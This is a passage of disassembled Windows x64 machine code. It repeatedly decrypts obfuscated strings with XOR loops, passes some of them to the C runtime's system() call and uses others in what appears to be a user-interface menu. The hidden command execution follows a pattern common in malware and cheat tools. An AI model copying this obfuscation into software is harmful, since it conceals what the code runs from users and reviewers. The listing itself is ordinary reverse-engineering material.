movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x1400754f0
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140075600
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2d88]
mov byte [rbp + 0x21], 0
lea rcx, [rbp + 0x21]
call fcn.14005e0c0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x1400757f1
mov r8d, edi
cmp esi, 2
jl 0x1400757b9
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2300]
mov byte [rbp + 0x22], 0
lea rcx, [rbp + 0x22]
call fcn.14005e180
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x1400759b1
cmp byte [0x1400aeff4], 1
jne 0x140077c3b
cmp byte [0x1400aef77], 1
jne 0x140077c3b
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140077c3b
lea rcx, [0x1400a0288]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140077e60
xor r9d, r9d
mov byte [rbp + 0x3a], 0
xor edx, edx
mov dword [rsp + 0x20], 0xff
mov r8d, 0xff
lea rcx, [rbp + 0xbd0]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xbe0]
call fcn.14002a680
lea rdx, [rbp + 0x1770]
lea rcx, [rbp + 0x3a]
call fcn.1400884b0
mov r10, rax
cmp byte [rax + 0x12], 0
je 0x140077e31
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140077df9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140077cf0
cmp r8d, 0x13
jge 0x140077e31
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140077e00
mov rdx, r10
lea rcx, [rbp + 0xbe0]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x140077e60
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140077e60
lea rcx, str.STATUS_Script
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140078089
xor r9d, r9d
mov byte [rbp + 0x3b], 0
xor edx, edx
mov dword [rsp + 0x20], 0xff
mov r8d, 0xff
lea rcx, [rbp + 0xbf0]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xc00]
call fcn.14002a680
lea rdx, [rbp + 0x26c0]
lea rcx, [rbp + 0x3b]
call fcn.1400884e0
mov r10, rax
cmp byte [rax + 0x25], 0
je 0x140078051
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140078019
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140077f10
cmp r8d, 0x26
jge 0x140078051
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x140078020
mov rdx, r10
lea rcx, [rbp + 0xc00]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x140078089
cmp byte [0x1400aef77], 1
jne 0x140078089
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140078089
lea rcx, [0x1400a02d8]
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140078270
mov r9d, 0xff
mov byte [rbp + 0x3c], 0
xor r8d, r8d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xc10]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xc20]
call fcn.14002a680
lea rdx, [rbp + 0x7d0]
lea rcx, [rbp + 0x3c]
call fcn.140088510
mov r10, rax
cmp byte [rax + 0xb], 0
je 0x140078241
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140078203
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140078210
mov rdx, r10
lea rcx, [rbp + 0xc20]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x140078270
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140078270
lea rcx, str.VERSION_Script
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140078499
mov r9d, 0xff
mov byte [rbp + 0x3d], 0
xor r8d, r8d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xc30]
call fcn.14003fa20
mov rcx, rax
lea rdx, [rbp + 0xc40]
call fcn.14002a680
lea rdx, [rbp + 0x15f0]
lea rcx, [rbp + 0x3d]
call fcn.140088530
mov r10, rax
cmp byte [rax + 0x10], 0
je 0x140078461
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140078429
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x10
jl 0x140078320
cmp r8d, 0x11
jge 0x140078461
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140078430
mov rdx, r10
lea rcx, [rbp + 0xc40]
call fcn.1400403e0
cmp byte [0x1400aeff4], 1
jne 0x140078499
cmp byte [0x1400aef77], 1
jne 0x140078499
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140078499
lea rcx, [0x1400a0308]
call fcn.1400161e0
call fcn.140043100
call fcn.14000d0d0
mov eax, dword [0x1400ae3f8]
lea rdi, [r14 + 0x16b0]
cmp eax, 2
jne 0x14007acc2
call fcn.14005fd40
call fcn.140043100
lea rdx, [rbp + 0x4e8]
mov byte [rbp + 0x3e], 0
lea rcx, [rbp + 0x3e]
call fcn.140088550
mov rbx, rax
cmp byte [rax + 7], 0
je 0x140078633
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400785fa
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
pxor xmm2, xmm0
movd dword [rbx + 4], xmm2
jmp 0x140078633
mov r9, rbx
nop dword [rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x140078600
movss xmm2, dword [0x1400a208c]
lea rcx, [rbp + 0x4f0]
movss xmm1, dword [0x1400a2098]
call fcn.140002fe0
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
mov rcx, rbx
call fcn.14000d070
cmp byte [0x1400ae053], 0
je 0x140078865
lea rdx, [rbp + 0x990]
mov byte [rbp + 0x3f], 0
lea rcx, [rbp + 0x3f]
call fcn.140088560
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x1400787f1
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400787ac
movdqa xmm2, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm1, xmm2
movdqa xmm3, xmmword [0x1400a2250]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov r8d, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm5, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movd xmm6, eax
mov eax, dword [str.1111111111111111]
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [r10], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movdqa xmm0, xmm1
psrld xmm0, xmm6
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400a2260]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
pxor xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x1400787c0
movss xmm3, dword [0x1400a1ff8]
lea rbx, [r14 + 0x1680]
xor eax, eax
movaps xmm2, xmm9
mov dword [rsp + 0x28], eax
mov rdx, rbx
lea rax, str._.3f
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.140045d70
cmp byte [0x1400ae053], 1
jne 0x140078843
movzx eax, byte [0x1400aef77]
mov ecx, eax
cmp al, 1
mov eax, 0
cmove ecx, eax
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x14007886c
xor ecx, ecx
call fcn.140007910
test al, al
je 0x14007886c
lea rcx, [0x1400a0330]
call fcn.1400161e0
jmp 0x14007886c
lea rbx, [r14 + 0x1680]
cmp byte [0x1400aef77], 0
je 0x140078a85
lea rdx, [rbp + 0x1ee0]
mov byte [rbp + 0x40], 0
lea rcx, [rbp + 0x40]
call fcn.140088590
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140078a33
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x1400789f3
movdqa xmm0, xmmword [str.1111111111111111]
mov edx, eax
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x20
jl 0x1400788f0
jmp 0x140078a33
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140078a00
movss xmm3, dword [0x1400a1ff8]
xor eax, eax
mov dword [rsp + 0x28], eax
movaps xmm2, xmm9
lea rax, str._.3f
mov rdx, rbx
mov rcx, r10
mov qword [rsp + 0x20], rax
call fcn.140045d70
cmp byte [0x1400aeff4], 1
jne 0x140078a85
cmp byte [0x1400aef77], 1
jne 0x140078a85
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140078a85
lea rcx, str.___.__0.0f__________
call fcn.1400161e0
cmp byte [0x1400ae053], 0
je 0x140078cc3
lea rdx, [rbp + 0xc50]
mov byte [rbp + 0x41], 0
lea rcx, [rbp + 0x41]
call fcn.1400885b0
mov r10, rax
cmp byte [rax + 0xf], 0
je 0x140078c53
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140078c13
movdqa xmm0, xmmword [str.1111111111111111]
mov edx, eax
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x10
jl 0x140078b10
jmp 0x140078c53
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x140078c20
xor eax, eax
lea rbx, [r14 + 0x1684]
mov dword [rsp + 0x28], eax
movaps xmm3, xmm10
lea rax, str._.3f
movaps xmm2, xmm9
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov rcx, r10
call fcn.140045d70
cmp byte [0x1400ae053], 1
jne 0x140078ca1
movzx eax, byte [0x1400aef77]
mov ecx, eax
cmp al, 1
mov eax, 0
cmove ecx, eax
mov byte [0x1400aef77], cl
cmp byte [0x1400aeff4], 1
jne 0x140078cca
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140078cca
lea rcx, str.Thickness_of_border_around_frames._Generally_set_to_0.0f_or_1.0f.__Other_values_are_not_well_tested_and_more_CPU_GPU_costly_.
call fcn.1400161e0
jmp 0x140078cca
lea rbx, [r14 + 0x1684]
cmp byte [0x1400aef77], 0
je 0x140078ee1
lea rdx, [rbp + 0x18f0]
mov byte [rbp + 0x42], 0
lea rcx, [rbp + 0x42]
call fcn.1400885c0
mov r10, rax
cmp byte [rax + 0x17], 0
je 0x140078e93
xor eax, eax
mov r8d, eax
cmp esi, 2
jl 0x140078e53
movdqa xmm0, xmmword [str.1111111111111111]
mov edx, eax
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 4
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, eax
mov eax, 0x1f
movd xmm8, eax
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
